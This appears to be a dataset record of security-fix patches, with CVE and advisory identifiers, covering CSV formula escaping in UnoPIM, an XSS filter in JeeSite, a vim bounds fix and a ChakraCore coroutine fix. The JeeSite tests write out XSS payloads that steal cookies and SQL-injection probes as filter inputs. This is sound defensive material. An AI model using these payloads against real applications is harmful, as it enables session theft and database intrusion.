+++ b/packages/Webkul/DataTransfer/src/Helpers/Formatters/EscapeFormulaOperators.php
@@ -0,0 +1,50 @@
+<?php
+
+namespace Webkul\DataTransfer\Helpers\Formatters;
+
+class EscapeFormulaOperators
+{
+    public static $operatorsToEscape = ['=', '-', '+', '@'];
+
+    /**
+     * Escape the value by adding a single quote at the beginning and end
+     * if it starts with a dangerous operator.
+     */
+    public static function escapeValue(mixed $value): mixed
+    {
+        if (! is_string($value)) {
+            return $value;
+        }
+
+        $trimmedValue = ltrim($value);
+
+        if ($trimmedValue !== '' && in_array($trimmedValue[0], self::$operatorsToEscape, true)) {
+            return "'".$value."'";
+        }
+
+        return $value;
+    }
+
+    /**
+     * Unescape the value by removing surrounding single quotes if it was escaped.
+     */
+    public static function unescapeValue(mixed $value): mixed
+    {
+        if (! is_string($value)) {
+            return $value;
+        }
+
+        $trimmedValue = ltrim($value);
+
+        if (
+            strlen($trimmedValue) >= 2
+            && in_array($trimmedValue[1], self::$operatorsToEscape, true)
+            && $trimmedValue[0] === "'"
+            && $trimmedValue[strlen($trimmedValue) - 1] === "'"
+        ) {
+            return substr($trimmedValue, 1, -1);
+        }
+
+        return $value;
+    }
+}
diff --git a/packages/Webkul/DataTransfer/src/Helpers/Importers/Category/Importer.php b/packages/Webkul/DataTransfer/src/Helpers/Importers/Category/Importer.php
index cef3920dd..ba76affde 100644
--- a/packages/Webkul/DataTransfer/src/Helpers/Importers/Category/Importer.php
+++ b/packages/Webkul/DataTransfer/src/Helpers/Importers/Category/Importer.php
@@ -13,6 +13,7 @@
 use Webkul\Core\Repositories\LocaleRepository;
 use Webkul\Core\Rules\Code;
 use Webkul\DataTransfer\Contracts\JobTrackBatch as JobTrackBatchContract;
+use Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators;
 use Webkul\DataTransfer\Helpers\Import;
 use Webkul\DataTransfer\Helpers\Importers\AbstractImporter;
 use Webkul\DataTransfer\Helpers\Importers\FieldProcessor;
@@ -369,6 +370,8 @@ public function prepareCategories(array $rowData, array &$categories): void
 
             $value = $this->fieldProcessor->handleField($catalogField, $value, $imageDirPath);
 
+            $value = EscapeFormulaOperators::unescapeValue($value);
+
             if ($catalogField->value_per_locale === self::VALUE_PER_LOCALE) {
                 $locale = $rowData['locale'] ?? null;
                 if ($locale) {
diff --git a/packages/Webkul/DataTransfer/src/Helpers/Importers/Product/Importer.php b/packages/Webkul/DataTransfer/src/Helpers/Importers/Product/Importer.php
index 6a846b384..184fdb28e 100644
--- a/packages/Webkul/DataTransfer/src/Helpers/Importers/Product/Importer.php
+++ b/packages/Webkul/DataTransfer/src/Helpers/Importers/Product/Importer.php
@@ -22,6 +22,7 @@
 use Webkul\Core\Repositories\ChannelRepository;
 use Webkul\Core\Rules\Slug;
 use Webkul\DataTransfer\Contracts\JobTrackBatch as JobTrackBatchContract;
+use Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators;
 use Webkul\DataTransfer\Helpers\Import;
 use Webkul\DataTransfer\Helpers\Importers\AbstractImporter;
 use Webkul\DataTransfer\Helpers\Importers\FieldProcessor;
@@ -791,6 +792,8 @@ public function prepareAttributeValues(array $rowData, array &$attributeValues):
                 $value = $this->formatPriceValueWithCurrency($currencyCode, $value, $attribute->getValueFromProductValues($attributeValues, $rowData['channel'] ?? null, $rowData['locale'] ?? null));
             }
 
+            $value = EscapeFormulaOperators::unescapeValue($value);
+
             $attribute->setProductValue($value, $attributeValues, $rowData['channel'] ?? null, $rowData['locale'] ?? null);
         }
     }
diff --git a/packages/Webkul/DataTransfer/tests/Unit/Helpers/Formatters/EscapeFormulaOperatorsTest.php b/packages/Webkul/DataTransfer/tests/Unit/Helpers/Formatters/EscapeFormulaOperatorsTest.php
new file mode 100644
index 000000000..ed3ecb91c
--- /dev/null
+++ b/packages/Webkul/DataTransfer/tests/Unit/Helpers/Formatters/EscapeFormulaOperatorsTest.php
@@ -0,0 +1,50 @@
+<?php
+
+use Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators;
+
+it('should escape string when it starts with a dangerous formula operator', function () {
+    expect(EscapeFormulaOperators::escapeValue('=SUM(A1:A2)'))->toBe("'=SUM(A1:A2)'");
+    expect(EscapeFormulaOperators::escapeValue('+123456'))->toBe("'+123456'");
+    expect(EscapeFormulaOperators::escapeValue('-42'))->toBe("'-42'");
+    expect(EscapeFormulaOperators::escapeValue('@cmd'))->toBe("'@cmd'");
+});
+
+it('should not escape string when it starts with a safe character', function () {
+    expect(EscapeFormulaOperators::escapeValue('Hello, world!'))->toBe('Hello, world!');
+    expect(EscapeFormulaOperators::escapeValue('1234'))->toBe('1234');
+    expect(EscapeFormulaOperators::escapeValue('text@example.com'))->toBe('text@example.com');
+});
+
+it('should not escape value when it is not a string', function () {
+    expect(EscapeFormulaOperators::escapeValue(123))->toBe(123);
+    expect(EscapeFormulaOperators::escapeValue(null))->toBeNull();
+    expect(EscapeFormulaOperators::escapeValue(['=SUM(A1:A2)']))->toBe(['=SUM(A1:A2)']);
+});
+
+it('should escape string when it starts with whitespace followed by a dangerous operator', function () {
+    expect(EscapeFormulaOperators::escapeValue(' =HACK()'))->toBe("' =HACK()'");
+    expect(EscapeFormulaOperators::escapeValue('  +123'))->toBe("'  +123'");
+});
+
+it('should unescape string when it is wrapped in single quotes and starts with a dangerous operator', function () {
+    expect(EscapeFormulaOperators::unescapeValue("'=SUM(A1:A2)'"))->toBe('=SUM(A1:A2)');
+    expect(EscapeFormulaOperators::unescapeValue("'-10'"))->toBe('-10');
+});
+
+it('should not unescape string when it does not match escape pattern', function () {
+    expect(EscapeFormulaOperators::unescapeValue('Normal text'))->toBe('Normal text');
+    expect(EscapeFormulaOperators::unescapeValue("'Unmatched"))->toBe("'Unmatched");
+    expect(EscapeFormulaOperators::unescapeValue("Still unmatched'"))->toBe("Still unmatched'");
+    expect(EscapeFormulaOperators::unescapeValue("'aNormal'"))->toBe("'aNormal'");
+});
+
+it('should not unescape value when it is not a string', function () {
+    expect(EscapeFormulaOperators::unescapeValue(123))->toBe(123);
+    expect(EscapeFormulaOperators::unescapeValue(null))->toBeNull();
+    expect(EscapeFormulaOperators::unescapeValue(['=SUM(A1:A2)']))->toBe(['=SUM(A1:A2)']);
+});
+
+it('should return empty string when given empty input', function () {
+    expect(EscapeFormulaOperators::escapeValue(''))->toBe('');
+    expect(EscapeFormulaOperators::unescapeValue(''))->toBe('');
+});
diff --git a/packages/Webkul/Product/src/Normalizer/ProductAttributeValuesNormalizer.php b/packages/Webkul/Product/src/Normalizer/ProductAttributeValuesNormalizer.php
index 595c3ebe8..181d1dfe6 100644
--- a/packages/Webkul/Product/src/Normalizer/ProductAttributeValuesNormalizer.php
+++ b/packages/Webkul/Product/src/Normalizer/ProductAttributeValuesNormalizer.php
@@ -3,6 +3,7 @@
 namespace Webkul\Product\Normalizer;
 
 use Webkul\Attribute\Services\AttributeService;
+use Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators;
 use Webkul\Product\Type\AbstractType;
 
 /**
@@ -49,7 +50,7 @@ public function normalizeAttributes(array $attributeValues, array $options = [])
                 $value = implode(', ', $value);
             }
 
-            $values[$attributeCode] = $value;
+            $values[$attributeCode] = EscapeFormulaOperators::escapeValue($value);
         }
 
         return $values;", "url": "https://github.com/unopim/unopim/commit/b25db9496fc147842a519d1dd42ec03c3bf00a34.patch" } ]
CWE-1236: Improper Neutralization of Formula Elements in a CSV File
GHSA-c27v-jmfg-gqrm
null
[ { "commit_message": "[PATCH] patch 8.2.5162: reading before the start of the line with BS in Replace mode Problem: Reading before the start of the line with BS in Replace mode. Solution: Check the cursor column is more than zero. src/edit.c | 2 +- src/version.c | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSAwOTcxYzdhNGU1MzdlYTEyMGE2YmIyMTk1OTYwYmU4ZDA4MTVlOTdiIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBCcmFtIE1vb2xlbmFhciA8QnJhbUB2aW0ub3JnPgpEYXRlOiBTdW4sIDI2IEp1biAyMDIyIDEyOjU5OjAyICswMTAwClN1YmplY3Q6IFtQQVRDSF0gcGF0Y2ggOC4yLjUxNjI6IHJlYWRpbmcgYmVmb3JlIHRoZSBzdGFydCBvZiB0aGUgbGluZSB3aXRoIEJTCiBpbiBSZXBsYWNlIG1vZGUKClByb2JsZW06ICAgIFJlYWRpbmcgYmVmb3JlIHRoZSBzdGFydCBvZiB0aGUgbGluZSB3aXRoIEJTIGluIFJlcGxhY2UgbW9kZS4KU29sdXRpb246ICAgQ2hlY2sgdGhlIGN1cnNvciBjb2x1bW4gaXMgbW9yZSB0aGFuIHplcm8uCi0tLQogc3JjL2VkaXQuYyAgICB8IDIgKy0KIHNyYy92ZXJzaW9uLmMgfCAyICsrCiAyIGZpbGVzIGNoYW5nZWQsIDMgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL3NyYy9lZGl0LmMgYi9zcmMvZWRpdC5jCmluZGV4IGRiZmEwYWU1Zjk5MjlkLi5hOGU2OTVjOTFjNDllNiAxMDA2NDQKLS0tIGEvc3JjL2VkaXQuYworKysgYi9zcmMvZWRpdC5jCkBAIC00MTgzLDcgKzQxODMsNyBAQCBpbnNfYnMoCiAjZW5kaWYKIAogCSAgICAvLyBkZWxldGUgY2hhcmFjdGVycyB1bnRpbCB3ZSBhcmUgYXQgb3IgYmVmb3JlIHdhbnRfdmNvbAotCSAgICB3aGlsZSAodmNvbCA+IHdhbnRfdmNvbAorCSAgICB3aGlsZSAodmNvbCA+IHdhbnRfdmNvbCAmJiBjdXJ3aW4tPndfY3Vyc29yLmNvbCA+IDAKIAkJICAgICYmIChjYyA9ICoobWxfZ2V0X2N1cnNvcigpIC0gMSksIFZJTV9JU1dISVRFKGNjKSkpCiAJCWluc19ic19vbmUoJnZjb2wpOwogCmRpZmYgLS1naXQgYS9zcmMvdmVyc2lvbi5jIGIvc3JjL3ZlcnNpb24uYwppbmRleCA5ZmJhMzViZWEwNjc2My4uY2YyZTc3ZDlmYjc5MTUgMTAwNjQ0Ci0tLSBhL3NyYy92ZXJzaW9uLmMKKysrIGIvc3JjL3ZlcnNpb24uYwpAQCAtNzM1LDYgKzczNSw4IEBAIHN0YXRpYyBjaGFyICooZmVhdHVyZXNbXSkgPQogCiBzdGF0aWMgaW50IGluY2x1ZGVkX3BhdGNoZXNbXSA9CiB7ICAgLyogQWRkIG5ldyBwYXRjaCBudW1iZXIgYmVsb3cgdGhpcyBsaW5lICovCisvKiovCisgICAgNTE2MiwKIC8qKi8KICAgICA1MTYxLAogLyoqLw==", "url": "https://github.com/vim/vim/commit/0971c7a4e537ea120a6bb2195960be8d0815e97b.patch" } ]
null
CVE-2025-7865
thinkgem JeeSite XSS Filter EncodeUtils.java xssFilter cross site scripting
A vulnerability was found in thinkgem JeeSite up to 5.12.0. It has been declared as problematic. This vulnerability affects the function xssFilter of the file src/main/java/com/jeesite/common/codec/EncodeUtils.java of the component XSS Filter. The manipulation of the argument text leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The patch is identified as 3585737d21fe490ff6948d913fcbd8d99c41fc08. It is recommended to apply a patch to fix this issue.
[ { "commit_message": "[PATCH] =?UTF-8?q?=E5=AE=8C=E5=96=84xss=E6=AD=A3=E5=88=99?= =?UTF-8?q?=E8=A1=A8=E8=BE=BE=E5=BC=8F=EF=BC=8C=E5=A4=84=E7=90=86on?= =?UTF-8?q?=E5=89=8D=E9=9D=A2=E6=98=AF/=E7=9A=84=E9=97=AE=E9=A2=98?= =?UTF-8?q?=EF=BC=9B=E5=AE=8C=E5=96=84beetl=E7=9A=84xss=E6=A0=BC=E5=BC=8F?= =?UTF-8?q?=E5=8C=96=EF=BC=8C=E9=BB=98=E8=AE=A4=E4=BD=BF=E7=94=A8=E9=9D=9E?= =?UTF-8?q?html=E6=96=87=E6=9C=AC=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit .../com/jeesite/common/codec/EncodeUtils.java | 2 +- .../jeesite/test/codec/EncodeUtilsTest.java | 74 +++++++++++-------- .../views/include/sysIndex/leftMenu.html | 2 +- .../views/include/sysIndex/topMenuUser.html | 2 +- .../views/modules/sys/user/userInfo.html | 2 +- 5 files changed, 47 insertions(+), 35 deletions(-)", "patch_text_b64": "From 3585737d21fe490ff6948d913fcbd8d99c41fc08 Mon Sep 17 00:00:00 2001
From: thinkgem <thinkgem@163.com>
Date: Wed, 9 Jul 2025 13:03:17 +0800
Subject: [PATCH] =?UTF-8?q?=E5=AE=8C=E5=96=84xss=E6=AD=A3=E5=88=99?=
 =?UTF-8?q?=E8=A1=A8=E8=BE=BE=E5=BC=8F=EF=BC=8C=E5=A4=84=E7=90=86on?=
 =?UTF-8?q?=E5=89=8D=E9=9D=A2=E6=98=AF/=E7=9A=84=E9=97=AE=E9=A2=98?=
 =?UTF-8?q?=EF=BC=9B=E5=AE=8C=E5=96=84beetl=E7=9A=84xss=E6=A0=BC=E5=BC=8F?=
 =?UTF-8?q?=E5=8C=96=EF=BC=8C=E9=BB=98=E8=AE=A4=E4=BD=BF=E7=94=A8=E9=9D=9E?=
 =?UTF-8?q?html=E6=96=87=E6=9C=AC=E5=A4=84=E7=90=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/jeesite/common/codec/EncodeUtils.java |  2 +-
 .../jeesite/test/codec/EncodeUtilsTest.java   | 74 +++++++++++--------
 .../views/include/sysIndex/leftMenu.html      |  2 +-
 .../views/include/sysIndex/topMenuUser.html   |  2 +-
 .../views/modules/sys/user/userInfo.html      |  2 +-
 5 files changed, 47 insertions(+), 35 deletions(-)

diff --git a/common/src/main/java/com/jeesite/common/codec/EncodeUtils.java b/common/src/main/java/com/jeesite/common/codec/EncodeUtils.java
index fb13350ba..8f69f0f1e 100644
--- a/common/src/main/java/com/jeesite/common/codec/EncodeUtils.java
+++ b/common/src/main/java/com/jeesite/common/codec/EncodeUtils.java
@@ -192,7 +192,7 @@ public static String decodeUrl2(String part) {
 	private static final List<Pattern> xssPatterns = ListUtils.newArrayList(
 			Pattern.compile("(<\\s*(script|link|style|iframe)([\\s\\S]*?)(>|<\\/\\s*\\1\\s*>))|(</\\s*(script|link|style|iframe)\\s*>)", Pattern.CASE_INSENSITIVE),
 			Pattern.compile("\\s*(href|src)\\s*=\\s*(\"\\s*(javascript|vbscript):[^\"]+\"|'\\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\\s]+)\\s*(?=>)", Pattern.CASE_INSENSITIVE),
-			Pattern.compile("\\s*on[a-z]+\\s*=\\s*(\"[^\"]+\"|'[^']+'|[^\\s]+)\\s*(?=>)", Pattern.CASE_INSENSITIVE),
+			Pattern.compile("\\s*/?\\s*on[a-zA-Z]+\\s*=\\s*(['\"]?)(.*?)\\1(?=\\s|>|/>)", Pattern.CASE_INSENSITIVE),
 			Pattern.compile("(eval\\((.*?)\\)|expression\\((.*?)\\))", Pattern.CASE_INSENSITIVE),
 			Pattern.compile("^(javascript:|vbscript:)", Pattern.CASE_INSENSITIVE)
 	);
diff --git a/common/src/test/java/com/jeesite/test/codec/EncodeUtilsTest.java b/common/src/test/java/com/jeesite/test/codec/EncodeUtilsTest.java
index de24d4f0a..73039d3f1 100644
--- a/common/src/test/java/com/jeesite/test/codec/EncodeUtilsTest.java
+++ b/common/src/test/java/com/jeesite/test/codec/EncodeUtilsTest.java
@@ -14,37 +14,49 @@
 public class EncodeUtilsTest {
 
 	public static void main(String[] args) {
-		EncodeUtils.xssFilter("1 你好 <script>alert(document.cookie)</script>我还在。");
-		EncodeUtils.xssFilter("2 你好 <strong>加粗文字</strong>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->3 你好 \"><strong>加粗文字</strong>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->4 你好 <iframe src=\"abcdef\"></iframe><strong>加粗文字</strong>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->5 你好 <iframe src=\"abcdef\"/><strong>加粗文字</strong>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->6 你好 <iframe src=\"abcdef\"><strong>加粗文字</strong>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->7 你好 <script type=\"text/javascript\">alert(document.cookie)</script>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->8 你好 <script\n type=\"text/javascript\">\nalert(document.cookie)\n</script>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->9 你好 <script src='' onerror='alert(document.cookie)'></script>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->10 你好 <script type=text/javascript>alert()我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->11 你好 <script>alert(document.cookie)</script>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->12 你好 <script>window.location='url'我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->13 你好 </script></iframe>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->14 你好 eval(abc)我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->15 你好 expression(abc)我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->16 你好 <img src='abc.jpg' onerror='location='';alert(document.cookie);'></img>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->17 你好 <img src='abc.jpg' onerror='alert(document.cookie);'/>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->18 你好 <img src='abc.jpg' onerror='alert(document.cookie);'>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->19 你好 <a onload='alert(\"abc\")'>hello</a>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->20 你好 <a href=\"/abc\">hello</a>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->21 你好 <a href='/abc'>hello</a>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->22 你好 <a href='vbscript:alert(\"abc\");'>hello</a>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->23 你好 <a href='javascript:alert(\"abc\");'>hello</a>我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->24 你好 ?abc=def&hello=123&world={\"a\":1}我还在。");
-		EncodeUtils.xssFilter("<!--HTML-->25 你好 ?abc=def&hello=123&world={'a':1}我还在。");
-		EncodeUtils.sqlFilter("1 你好 select * from xxx where abc=def and 1=1我还在。");
-		EncodeUtils.sqlFilter("2 你好 insert into xxx values(1,2,3,4,5)我还在。");
-		EncodeUtils.sqlFilter("3 你好 delete from xxx我还在。");
-		EncodeUtils.sqlFilter("4 a.audit_result asc,case when 1 like case when length(database())=6 then 1 else exp(111) end then 1 else 1/0 end", "orderBy");
-		EncodeUtils.sqlFilter("5 if(1=2,1,SLEEP(10)), if(mid(database(),{},1)=\\\"{}\\\",a.id,a.login_name)", "orderBy");
-		EncodeUtils.sqlFilter("6 a.audit_result asc, b.audit_result2 desc, b.AuditResult3 desc", "orderBy");
+		int i = 0;
+		xssFilter(i++, "你好 <script>alert(document.cookie)</script>我还在。");
+		xssFilter(i++, "你好 <strong>加粗文字</strong>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 \"><strong>加粗文字</strong>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <iframe src=\"abcdef\"></iframe><strong>加粗文字</strong>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <iframe src=\"abcdef\"/><strong>加粗文字</strong>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <iframe src=\"abcdef\"><strong>加粗文字</strong>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <script type=\"text/javascript\">alert(document.cookie)</script>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <script\n type=\"text/javascript\">\nalert(document.cookie)\n</script>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <script src='' onerror='alert(document.cookie)'></script>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <script type=text/javascript>alert()我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <script>alert(document.cookie)</script>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <script>window.location='url'我还在。");
+		xssFilter(i++, "<!--HTML-->你好 </script></iframe>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 eval(abc)我还在。");
+		xssFilter(i++, "<!--HTML-->你好 expression(abc)我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <img src='abc.jpg' onerror='location='';alert(document.cookie);'></img>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <img src='abc.jpg' onerror='alert(document.cookie);'/>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <img src='abc.jpg' onerror='alert(document.cookie);'>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <a onload='alert(\"abc\")'>hello</a>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <a href=\"/abc\">hello</a>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <a href='/abc'>hello</a>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <a href='vbscript:alert(\"abc\");'>hello</a>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 <a href='javascript:alert(\"abc\");'>hello</a>我还在。");
+		xssFilter(i++, "<!--HTML-->你好 ?abc=def&hello=123&world={\"a\":1}我还在。");
+		xssFilter(i++, "<!--HTML-->你好 ?abc=def&hello=123&world={'a':1}我还在。");
+		xssFilter(i++, "<!--HTML-->\"><svg/ONLOAD=confirm(3) />");
+		sqlFilter(i++, "你好 select * from xxx where abc=def and 1=1我还在。", "common");
+		sqlFilter(i++, "你好 insert into xxx values(1,2,3,4,5)我还在。", "common");
+		sqlFilter(i++, "你好 delete from xxx我还在。", "common");
+		sqlFilter(i++, "a.audit_result asc,case when 1 like case when length(database())=6 then 1 else exp(111) end then 1 else 1/0 end", "orderBy");
+		sqlFilter(i++, "if(1=2,1,SLEEP(10)), if(mid(database(),{},1)=\\\"{}\\\",a.id,a.login_name)", "orderBy");
+		sqlFilter(i++, "a.audit_result asc, b.audit_result2 desc, b.AuditResult3 desc", "orderBy");
+	}
+
+	private static void xssFilter(int num, String text) {
+		String text2 = EncodeUtils.xssFilter(text);
+		System.out.println(num + ". " + text + "\t ==> \t" + text2 + "\t ==> \t" + text.equals(text2));
+	}
+
+	private static void sqlFilter(int num, String text, String source) {
+		String text2 = EncodeUtils.sqlFilter(text, source);
+		System.out.println(num + ". " + text + "\t ==> \t" + text2 + "\t ==> \t" + text.equals(text2));
 	}
 
 }
diff --git a/modules/core/src/main/resources/views/include/sysIndex/leftMenu.html b/modules/core/src/main/resources/views/include/sysIndex/leftMenu.html
index 2935e61a4..a56291f20 100644
--- a/modules/core/src/main/resources/views/include/sysIndex/leftMenu.html
+++ b/modules/core/src/main/resources/views/include/sysIndex/leftMenu.html
@@ -6,7 +6,7 @@
 			<script src="${ctxStatic}/modules/sys/leftMenu.js"></script>
 		</div>
 		<div class="pull-left info">
-			<p>${user.userName}</p>
+			<p>${user.userName,xss}</p>
 			<a href="javascript:"><i class="fa fa-circle text-success"></i> ${text('在线')}</a>
 			<a href="${ctx}/logout"><i class="fa fa-sign-out text-danger"></i> ${text('注销')}</a>
 		</div>
diff --git a/modules/core/src/main/resources/views/include/sysIndex/topMenuUser.html b/modules/core/src/main/resources/views/include/sysIndex/topMenuUser.html
index 6971c507f..f55ecfd43 100644
--- a/modules/core/src/main/resources/views/include/sysIndex/topMenuUser.html
+++ b/modules/core/src/main/resources/views/include/sysIndex/topMenuUser.html
@@ -1,7 +1,7 @@
 <li class="dropdown user-menu mr5">
 	<a href="javascript:" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown">
 		<img src="${@user.getAvatarUrl().replaceFirst('/ctxPath', ctxPath)}" class="user-image">
-		<span class="hidden-xs">${user.userName}</span>
+		<span class="hidden-xs">${user.userName,xss}</span>
 	</a>
 	<ul class="dropdown-menu">
 		<li class="mt5">
diff --git a/modules/core/src/main/resources/views/modules/sys/user/userInfo.html b/modules/core/src/main/resources/views/modules/sys/user/userInfo.html
index 28382e6c5..2f1069ce6 100644
--- a/modules/core/src/main/resources/views/modules/sys/user/userInfo.html
+++ b/modules/core/src/main/resources/views/modules/sys/user/userInfo.html
@@ -23,7 +23,7 @@
 							<div class="box-body box-profile">
 								<img id="avatarImg" class="profile-user-img img-responsive img-circle"
 									src="${@user.getAvatarUrl().replaceFirst('/ctxPath', ctxPath)}?__t=${date().time}">
-								<h3 class="profile-username text-center">${user.userName}</h3>
+								<h3 class="profile-username text-center">${user.userName,xss}</h3>
 								<p class="text-muted text-center">
 									<#form:radio path="sex" dictType="sys_user_sex" class="form-control required"/>
 								</p>", "url": "https://github.com/thinkgem/jeesite5/commit/3585737d21fe490ff6948d913fcbd8d99c41fc08.patch" } ]
Cross Site Scripting
GHSA-h23m-w6x5-jwr4
Out-of-bounds write
null
[ { "commit_message": "[PATCH] [CVE-2019-0923] Scripting Engine Memory Corruption - Individual After reparsing the coroutines (generator/async functions) the register which holds yield data has changed. This is due to scoping structure for debugger. In order to fix that allow the same scoping numbering for coroutine as well. Also added a failfast to see if the yield register information is the same before and after reparsing. lib/Runtime/ByteCode/ByteCodeEmitter.cpp | 1 + lib/Runtime/ByteCode/ByteCodeGenerator.cpp | 12 ++++---- lib/Runtime/Debug/DebugContext.cpp | 34 +++++++++++++++++++++- 3 files changed, 40 insertions(+), 7 deletions(-)", "patch_text_b64": "From 972584709518380a4a3c2410b5fa151f6f0239b1 Mon Sep 17 00:00:00 2001
From: Akrosh Gandhi <akroshg@microsoft.com>
Date: Wed, 17 Apr 2019 13:42:43 -0700
Subject: [PATCH] [CVE-2019-0923] Scripting Engine Memory Corruption -
 Individual

After reparsing the coroutines (generator/async functions) the register which holds yield data has changed.
This is due to scoping structure for debugger.
In order to fix that allow the same scoping numbering for coroutine as well.
Also added a failfast to see if the yield register information is the same before and after reparsing.
---
 lib/Runtime/ByteCode/ByteCodeEmitter.cpp   |  1 +
 lib/Runtime/ByteCode/ByteCodeGenerator.cpp | 12 ++++----
 lib/Runtime/Debug/DebugContext.cpp         | 34 +++++++++++++++++++++-
 3 files changed, 40 insertions(+), 7 deletions(-)

diff --git a/lib/Runtime/ByteCode/ByteCodeEmitter.cpp b/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
index 5820ab38a8d..5c07982b92b 100644
--- a/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
+++ b/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
@@ -3590,6 +3590,7 @@ void ByteCodeGenerator::StartEmitFunction(ParseNodeFnc *pnodeFnc)
 #if ENABLE_TTD
                     && !funcInfo->GetParsedFunctionBody()->GetScriptContext()->GetThreadContext()->IsRuntimeInTTDMode()
 #endif
+                    && !funcInfo->byteCodeFunction->IsCoroutine()
                 );
 
                 if (funcInfo->GetHasCachedScope())
diff --git a/lib/Runtime/ByteCode/ByteCodeGenerator.cpp b/lib/Runtime/ByteCode/ByteCodeGenerator.cpp
index 77c52fc8361..1d6c3f1d17e 100644
--- a/lib/Runtime/ByteCode/ByteCodeGenerator.cpp
+++ b/lib/Runtime/ByteCode/ByteCodeGenerator.cpp
@@ -119,10 +119,10 @@ void EndVisitBlock(ParseNodeBlock *pnode, ByteCodeGenerator *byteCodeGenerator)
         Scope *scope = pnode->scope;
         FuncInfo *func = scope->GetFunc();
 
-        if (!byteCodeGenerator->IsInDebugMode() &&
-            scope->HasInnerScopeIndex())
+        if (!(byteCodeGenerator->IsInDebugMode() || func->byteCodeFunction->IsCoroutine())
+            && scope->HasInnerScopeIndex())
         {
-            // In debug mode, don't release the current index, as we're giving each scope a unique index, regardless
+            // In debug mode (or for the generator/async function), don't release the current index, as we're giving each scope a unique index, regardless
             // of nesting.
             Assert(scope->GetInnerScopeIndex() == func->CurrentInnerScopeIndex());
             func->ReleaseInnerScopeIndex();
@@ -155,12 +155,12 @@ void BeginVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
 void EndVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
 {
     Scope *scope = pnode->AsParseNodeCatch()->scope;
+    FuncInfo *func = scope->GetFunc();
 
-    if (scope->HasInnerScopeIndex() && !byteCodeGenerator->IsInDebugMode())
+    if (scope->HasInnerScopeIndex() && !(byteCodeGenerator->IsInDebugMode() || func->byteCodeFunction->IsCoroutine()))
     {
-        // In debug mode, don't release the current index, as we're giving each scope a unique index,
+        // In debug mode (or for the generator/async function), don't release the current index, as we're giving each scope a unique index,
         // regardless of nesting.
-        FuncInfo *func = scope->GetFunc();
 
         Assert(scope->GetInnerScopeIndex() == func->CurrentInnerScopeIndex());
         func->ReleaseInnerScopeIndex();
diff --git a/lib/Runtime/Debug/DebugContext.cpp b/lib/Runtime/Debug/DebugContext.cpp
index 7f9eb30c8a0..35379ddf6de 100644
--- a/lib/Runtime/Debug/DebugContext.cpp
+++ b/lib/Runtime/Debug/DebugContext.cpp
@@ -193,6 +193,11 @@ namespace Js
         Js::TempArenaAllocatorObject *tempAllocator = nullptr;
         JsUtil::List<Js::FunctionInfo *, Recycler>* pFunctionsToRegister = nullptr;
         JsUtil::List<Js::Utf8SourceInfo *, Recycler, false, Js::CopyRemovePolicy, RecyclerPointerComparer>* utf8SourceInfoList = nullptr;
+        typedef JsUtil::BaseDictionary<uint32, RegSlot, ArenaAllocator, PowerOf2SizePolicy> FunctionStartToYieldRegister;
+
+        // This container ensures that for Generator/Async functions the yield register is same between non-debug to debug parse.
+        // Each entry represent a function's start position (each function will have unique start position in a file) and that function yield register
+        FunctionStartToYieldRegister *yieldFunctions = nullptr;
 
         HRESULT hr = S_OK;
